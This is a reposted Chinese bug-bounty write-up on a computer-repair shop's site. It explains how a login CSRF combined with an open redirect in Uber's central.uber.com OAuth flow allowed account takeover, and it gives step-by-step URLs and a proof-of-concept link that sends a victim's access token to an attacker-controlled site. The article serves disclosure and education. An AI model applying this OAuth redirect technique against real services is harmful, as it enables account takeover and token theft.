锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
我如何挖到了一个价值8000美金的Uber漏洞

作者: 佚名  日期:2017-07-10 17:49:19   来源: 本站整理

 我研究Uber漏洞已经有一段时间了,而这是我第一次发布关于Uber漏洞挖掘的报告,希望可以给大家提供一些有趣的挖洞思路。在这篇文章中,我将会跟大家分享一个我在Uber系统中发现的有趣漏洞(Login CSRF + 开放重定向 -> 账户接管)。


长话短说
这个漏洞存在于Uber的central.uber.com节点,它使用了OAuth 2.0协议作为其登录授权机制,但该节点并没有正确使用CSRF参数,这将导致攻击者能够利用这种错误使用的状态参数来执行开放重定向以及Login CSRF,然后在实现重定向之后窃取URL哈希中的访问令牌。
central.uber.com的登录流程
首先大家要了解central.uber.com的登录流程(修复前),当用户点击了central.uber.com页面中的登录按钮之后,系统的运行机制和跳转如下:
1. https://central.uber.com/login?state=/somewhere
2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4. https://central.uber.com/somewhere
注:如果你想充分理解这个漏洞的话,你首先必须要清楚该节点所采用的用户登录流程,所以请各位多花点时间好好看看上面给出的跳转链接。
当我看到了整个登录流程之后,我首先想到的攻击方法是将状态参数/somewhere修改为//google.com来实现一次可能的开放重定向。修改之后的登录流程如下:
1.  https://central.uber.com/login?state=//google.com
2.  https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
3.  https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4.  //google.com 
果然不出我所料,我成功地将这个登录流程变成了一个开放重定向漏洞,但Uber并不接受关于开放重定向漏洞的报告,所以我还得想办法通过这个漏洞找到其他更有意思的漏洞。但不管怎么样,这仍然是一个非常好的开端。
由于Oauth请求使用的是code而并非token,所以即便是我们找到了一个开放重定向漏洞,我们也仍然无法利用它来窃取到任何信息。那如果我们将请求所使用的code转换为token的话,又会发生什么呢?
1.  https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
2.  https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
3.  无法实现重定向
由于我们这里没有给https://central.uber.com/oauth2-callback提供有效的code值,所以在上述的第2步之后才没能实现重定向。如果无法实现重定向,那我们就没办法窃取到访问令牌了。所以我们得想办法解决这个问题,我们需要一个针对oauth2-callback节点的有效code值。
Login CSRF
在这种情况下,Login CSRF就要派上用场了。由于这个Uber节点会在重定向时使用 CSRF参数状态,所以我们可以直接将攻击者的有效OAuth code添加到oauth2-callback节点,然后将其发送给目标用户。当用户访问了这条链接之后,就可以被正确地重定向到攻击者所控制的页面并泄露其访问令牌。
限制
利用这个漏洞时唯一的要求就是目标用户的浏览器中已经存储了login.uber.com的身份认证会话信息(session)。由于central.uber.com是Uber的官方OAuth客户端,所以每一位Uber用户默认都会接受central.uber.com的请求。
概念验证PoC
PoC
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d攻击者的有效OAuth code&state=%2F%2f攻击者控制的站点
PoC登录流程
1.https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻击者的有效OAuth code}&state=%2F%2f攻击者控制的站点
2.https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={攻击者的有效OAuth code}#access_token={目标用户的访问令牌}
3.//hackerone.com#accesstoken={目标用户的访问令牌}
总结
终于搞定啦!我已经将这个漏洞上报给了Uber的安全技术团队,Uber也在确认了漏洞信息之后给我提供了8000美刀的漏洞奖励。
感谢大家的阅读,如果你有什么其他的观点或想法,请赶紧与我联系吧!281936@qq.com
 

0


热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等